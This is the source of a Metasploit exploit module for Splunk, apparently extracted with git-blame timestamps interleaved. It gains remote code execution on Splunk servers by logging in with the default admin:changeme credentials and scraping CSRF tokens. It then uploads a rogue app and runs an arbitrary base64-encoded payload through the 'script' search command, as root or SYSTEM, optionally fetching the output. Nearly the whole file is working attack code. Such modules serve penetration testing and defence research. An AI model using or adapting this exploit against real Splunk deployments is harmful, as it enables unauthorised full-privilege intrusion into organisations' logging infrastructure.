2012-12-07 10:55:48 +00:00
##
2014-10-17 16:47:33 +00:00
# This module requires Metasploit: http://metasploit.com/download
2013-10-15 18:50:46 +00:00
# Current source: https://github.com/rapid7/metasploit-framework
2012-12-07 10:55:48 +00:00
##
require 'msf/core'
class Metasploit3 < Msf :: Exploit :: Remote
2013-08-30 21:28:54 +00:00
Rank = GoodRanking
include Msf :: Exploit :: Remote :: HttpClient
def initialize ( info = { } )
2014-10-31 01:28:56 +00:00
super ( update_info (
info ,
2014-07-09 21:56:06 +00:00
'Name' = > 'Splunk Custom App Remote Code Execution' ,
2014-10-31 01:28:56 +00:00
'Description' = >
' This module exploits a feature of Splunk whereby a custom application can be
uploaded through the web based interface . Through the \ 'script\' search command a
2013-08-30 21:28:54 +00:00
user can call commands defined in their custom application which includes arbitrary
perl or python code . To abuse this behavior , a valid Splunk user with the admin
role is required . By default , this module uses the credential of " admin:changeme " ,
the default Administrator credential for Splunk . Note that the Splunk web interface
2014-07-09 21:56:06 +00:00
runs as SYSTEM on Windows , or as root on Linux by default . This module has been
2014-10-31 01:28:56 +00:00
tested successfully against Splunk 5 . 0 , 6 . 1 , and 6 . 1 . 1 . ' ,
2013-08-30 21:28:54 +00:00
'Author' = >
[
" marcwickenden " , # discovery and metasploit module
" sinn3r " , # metasploit module
2014-07-09 21:56:06 +00:00
" juan vazquez " , # metasploit module
" Gary Blosser " # metasploit module updates for Splunk 6.1
2013-08-30 21:28:54 +00:00
] ,
'License' = > MSF_LICENSE ,
'References' = >
[
[ 'URL' , 'http://blog.7elements.co.uk/2012/11/splunk-with-great-power-comes-great-responsibility.html' ] ,
[ 'URL' , 'http://blog.7elements.co.uk/2012/11/abusing-splunk-with-metasploit.html' ] ,
[ 'URL' , 'http://docs.splunk.com/Documentation/Splunk/latest/SearchReference/Script' ]
] ,
'Payload' = >
{
'Space' = > 1024 ,
'DisableNops' = > true
} ,
2014-10-31 01:28:56 +00:00
'Platform' = > %w( linux unix win ) ,
2013-08-30 21:28:54 +00:00
'Targets' = >
[
2014-07-09 21:56:06 +00:00
[ 'Splunk >= 5.0.1 / Linux' ,
2013-08-30 21:28:54 +00:00
{
'Arch' = > ARCH_CMD ,
2014-10-31 01:28:56 +00:00
'Platform' = > %w( linux unix )
2013-08-30 21:28:54 +00:00
}
] ,
2014-07-09 21:56:06 +00:00
[ 'Splunk >= 5.0.1 / Windows' ,
2013-08-30 21:28:54 +00:00
{
'Arch' = > ARCH_CMD ,
'Platform' = > 'win'
}
]
] ,
'DisclosureDate' = > 'Sep 27 2012' ) )
register_options (
[
Opt :: RPORT ( 8000 ) ,
2014-10-31 01:28:56 +00:00
OptString . new ( 'USERNAME' , [ true , 'The username with admin role to authenticate as' , 'admin' ] ) ,
OptString . new ( 'PASSWORD' , [ true , 'The password for the specified username' , 'changeme' ] ) ,
OptPath . new (
'SPLUNK_APP_FILE' ,
2013-08-30 21:28:54 +00:00
[
true ,
'The "rogue" Splunk application tgz' ,
File . join ( Msf :: Config . install_root , 'data' , 'exploits' , 'splunk' , 'upload_app_exec.tgz' )
] )
] , self . class )
register_advanced_options (
[
OptBool . new ( 'ReturnOutput' , [ true , 'Display command output' , false ] ) ,
OptBool . new ( 'DisableUpload' , [ true , 'Disable the app upload if you have already performed it once' , false ] ) ,
OptBool . new ( 'EnableOverwrite' , [ true , 'Overwrites an app of the same name. Needed if you change the app code in the tgz' , false ] ) ,
OptInt . new ( 'CommandOutputDelay' , [ true , 'Seconds to wait before requesting command output from Splunk' , 5 ] )
] , self . class )
end
def exploit
# process standard options
@username = datastore [ 'USERNAME' ]
@password = datastore [ 'PASSWORD' ]
file_name = datastore [ 'SPLUNK_APP_FILE' ]
# process advanced options
return_output = datastore [ 'ReturnOutput' ]
disable_upload = datastore [ 'DisableUpload' ]
@enable_overwrite = datastore [ 'EnableOverwrite' ]
command_output_delay = datastore [ 'CommandOutputDelay' ]
# set up some variables for later use
@auth_cookies = ''
@csrf_form_key = ''
2014-10-31 01:28:56 +00:00
@csrf_form_port = " splunkweb_csrf_token_ #{ rport } " # Default to using rport, corrected during tokenization for v6 below.
2013-08-30 21:28:54 +00:00
app_name = 'upload_app_exec'
p = payload . encoded
print_status ( " Using command: #{ p } " )
cmd = Rex :: Text . encode_base64 ( p )
# log in to Splunk (if required)
do_login
# fetch the csrf token for use in the upload next
do_get_csrf ( '/en-US/manager/launcher/apps/local' )
unless disable_upload
# upload the arbitrary command execution Splunk app tgz
do_upload_app ( app_name , file_name )
end
# get the next csrf token from our new app
do_get_csrf ( " /en-US/app/ #{ app_name } /flashtimeline " )
# call our command execution function with the Splunk 'script' command
print_status ( " Invoking script command " )
res = send_request_cgi (
'uri' = > '/en-US/api/search/jobs' ,
'method' = > 'POST' ,
2014-07-09 21:56:06 +00:00
'cookie' = > " #{ @auth_cookies } ; #{ @csrf_form_port } = #{ @csrf_form_key } " , # Version 6 uses cookies and not just headers, extra cookies should be ignored by Splunk 5 (unverified)
2013-08-30 21:28:54 +00:00
'headers' = >
{
'X-Requested-With' = > 'XMLHttpRequest' ,
2014-07-09 21:56:06 +00:00
'X-Splunk-Form-Key' = > @csrf_form_key # Version 6 ignores extra headers (verified)
2013-08-30 21:28:54 +00:00
} ,
'vars_post' = >
{
'search' = > " search * | script msf_exec #{ cmd } " , # msf_exec defined in default/commands.conf
'status_buckets' = > " 300 " ,
'namespace' = > " #{ app_name } " ,
'ui_dispatch_app' = > " #{ app_name } " ,
'ui_dispatch_view' = > " flashtimeline " ,
'auto_cancel' = > " 100 " ,
'wait' = > " 0 " ,
'required_field_list' = > " * " ,
'adhoc_search_level' = > " smart " ,
'earliest_time' = > " 0 " ,
'latest_time' = > " " ,
'timeFormat' = > " %s.%Q "
}
2014-10-31 01:28:56 +00:00
)
2013-08-30 21:28:54 +00:00
if return_output
res . body . match ( / data": \ "([0-9.]+)" / )
2014-10-31 01:28:56 +00:00
job_id = Regexp . last_match ( 1 )
2013-08-30 21:28:54 +00:00
# wait a short time to let the output be produced
print_status ( " Waiting for #{ command_output_delay } seconds to retrieve command output " )
2014-10-31 01:28:56 +00:00
select ( nil , nil , nil , command_output_delay )
2013-08-30 21:28:54 +00:00
job_output = fetch_job_output ( job_id )
if job_output . body . match ( / Waiting for data... / )
print_status ( " No output returned in time " )
2014-10-31 01:28:56 +00:00
else
2013-08-30 21:28:54 +00:00
output = " "
job_output . body . each_line do | line |
# strip off the leading and trailing " added by Splunk
2014-10-31 01:28:56 +00:00
line . gsub! ( / ^" / , " " )
line . gsub! ( / "$ / , " " )
2013-08-30 21:28:54 +00:00
output << line
end
# return the output
print_status ( " Command returned: " )
print_line output
end
else
handler
end
end
def check
# all versions are actually "vulnerable" but check implemented for future proofing
# and good practice
res = send_request_cgi (
{
'uri' = > '/en-US/account/login' ,
'method' = > 'GET'
} , 25 )
2014-10-31 01:28:56 +00:00
if res && res . body =~ / Splunk Inc \ . Splunk /
2014-01-21 19:03:36 +00:00
return Exploit :: CheckCode :: Detected
2013-08-30 21:28:54 +00:00
else
return Exploit :: CheckCode :: Safe
end
end
def do_login
print_status ( " Authenticating... " )
# this method borrowed with thanks from splunk_mappy_exec.rb
res = send_request_cgi (
'uri' = > '/en-US/account/login' ,
'method' = > 'GET'
2014-10-31 01:28:56 +00:00
)
2013-08-30 21:28:54 +00:00
cval = ''
uid = ''
session_id_port =
session_id = ''
2014-10-31 01:28:56 +00:00
if res && res . code == 200
res . get_cookies . split ( ';' ) . each do | c |
c . split ( ',' ) . each do | v |
2013-08-30 21:28:54 +00:00
if v . split ( '=' ) [ 0 ] =~ / cval /
cval = v . split ( '=' ) [ 1 ]
elsif v . split ( '=' ) [ 0 ] =~ / uid /
uid = v . split ( '=' ) [ 1 ]
elsif v . split ( '=' ) [ 0 ] =~ / session_id /
session_id_port = v . split ( '=' ) [ 0 ]
session_id = v . split ( '=' ) [ 1 ]
end
2014-10-31 01:28:56 +00:00
end
end
2013-08-30 21:28:54 +00:00
else
fail_with ( Failure :: NotFound , " Unable to get session cookies " )
end
res = send_request_cgi (
'uri' = > '/en-US/account/login' ,
'method' = > 'POST' ,
'cookie' = > " uid= #{ uid } ; #{ session_id_port } = #{ session_id } ; cval= #{ cval } " ,
'vars_post' = >
{
'cval' = > cval ,
'username' = > @username ,
'password' = > @password
}
2014-10-31 01:28:56 +00:00
)
2013-08-30 21:28:54 +00:00
2014-10-31 01:28:56 +00:00
if ! res
fail_with ( Failure :: Unreachable , " No response " )
2013-08-30 21:28:54 +00:00
else
session_id_port = ''
session_id = ''
2014-10-31 01:28:56 +00:00
res . get_cookies . split ( ';' ) . each do | c |
c . split ( ',' ) . each do | v |
2013-08-30 21:28:54 +00:00
if v . split ( '=' ) [ 0 ] =~ / session_id /
session_id_port = v . split ( '=' ) [ 0 ]
session_id = v . split ( '=' ) [ 1 ]
end
2014-10-31 01:28:56 +00:00
end
end
2013-08-30 21:28:54 +00:00
@auth_cookies = " #{ session_id_port } = #{ session_id } "
end
end
def do_upload_app ( app_name , file_name )
archive_file_name = :: File . basename ( file_name )
print_status ( " Uploading file #{ archive_file_name } " )
file_data = :: File . open ( file_name , " rb " ) { | f | f . read }
boundary = '--------------' + rand_text_alphanumeric ( 6 )
data = " -- #{ boundary } \r \n "
data << " Content-Disposition: form-data; name= \" splunk_form_key \" \r \n \r \n "
data << " #{ @csrf_form_key } "
data << " \r \n -- #{ boundary } \r \n "
if @enable_overwrite
data << " Content-Disposition: form-data; name= \" force \" \r \n \r \n "
data << " 1 "
data << " \r \n -- #{ boundary } \r \n "
end
data << " Content-Disposition: form-data; name= \" appfile \" ; filename= \" #{ archive_file_name } \" \r \n "
data << " Content-Type: application/x-compressed \r \n \r \n "
data << file_data
data << " \r \n -- #{ boundary } -- \r \n "
2014-10-31 01:28:56 +00:00
res = send_request_cgi (
{
'uri' = > '/en-US/manager/appinstall/_upload' ,
'method' = > 'POST' ,
# Does not seem to require the cookie, but it does not break it. I bet 6.2 will have a cookie here too.
'cookie' = > " #{ @auth_cookies } ; #{ @csrf_form_port } = #{ @csrf_form_key } " ,
'ctype' = > " multipart/form-data; boundary= #{ boundary } " ,
'data' = > data
} , 30 )
if res && ( res . code == 303 || ( res . code == 200 && res . body !~ / There was an error processing the upload / ) )
2013-08-30 21:28:54 +00:00
print_status ( " #{ app_name } successfully uploaded " )
else
fail_with ( Failure :: Unknown , " Error uploading " )
end
end
def do_get_csrf ( uri )
print_status ( " Fetching csrf token from #{ uri } " )
res = send_request_cgi (
'uri' = > uri ,
'method' = > 'GET' ,
'cookie' = > @auth_cookies
2014-10-31 01:28:56 +00:00
)
2014-07-09 21:56:06 +00:00
res . body . match ( / FORM_KEY": \ "( \ d+)" / ) # Version 5
2014-10-31 01:28:56 +00:00
@csrf_form_key = Regexp . last_match ( 1 )
2014-07-09 21:56:06 +00:00
unless @csrf_form_key # Version 6
2014-10-31 01:28:56 +00:00
res . get_cookies . split ( ';' ) . each do | c |
c . split ( ',' ) . each do | v |
if v . split ( '=' ) [ 0 ] =~ / splunkweb_csrf_token / # regex as the full name is something like splunkweb_csrf_token_8000
2014-07-09 21:56:06 +00:00
@csrf_form_port = v . split ( '=' ) [ 0 ] # Accounting for tunnels where rport is not the actual server-side port
@csrf_form_key = v . split ( '=' ) [ 1 ]
end
2014-10-31 01:28:56 +00:00
end
end
2014-07-09 21:56:06 +00:00
end
2014-10-31 01:28:56 +00:00
fail_with ( Failure :: Unknown , " csrf form Key not found " ) unless @csrf_form_key
2013-08-30 21:28:54 +00:00
end
def fetch_job_output ( job_id )
# fetch the output of our job id as csv for easy parsing
print_status ( " Fetching job_output for id #{ job_id } " )
2014-10-31 01:28:56 +00:00
send_request_raw (
'uri' = > " /en-US/api/search/jobs/ #{ job_id } /result?isDownload=true&timeFormat=%25FT%25T.%25Q%25%3Az&maxLines=0&count=0&filename=&outputMode=csv&spl_ctrl-limit=unlimited&spl_ctrl-count=10000 " ,
2013-08-30 21:28:54 +00:00
'method' = > 'GET' ,
'cookie' = > @auth_cookies ,
'encode_param' = > 'false'
2014-10-31 01:28:56 +00:00
)
2013-08-30 21:28:54 +00:00
end
2012-12-07 10:55:48 +00:00
end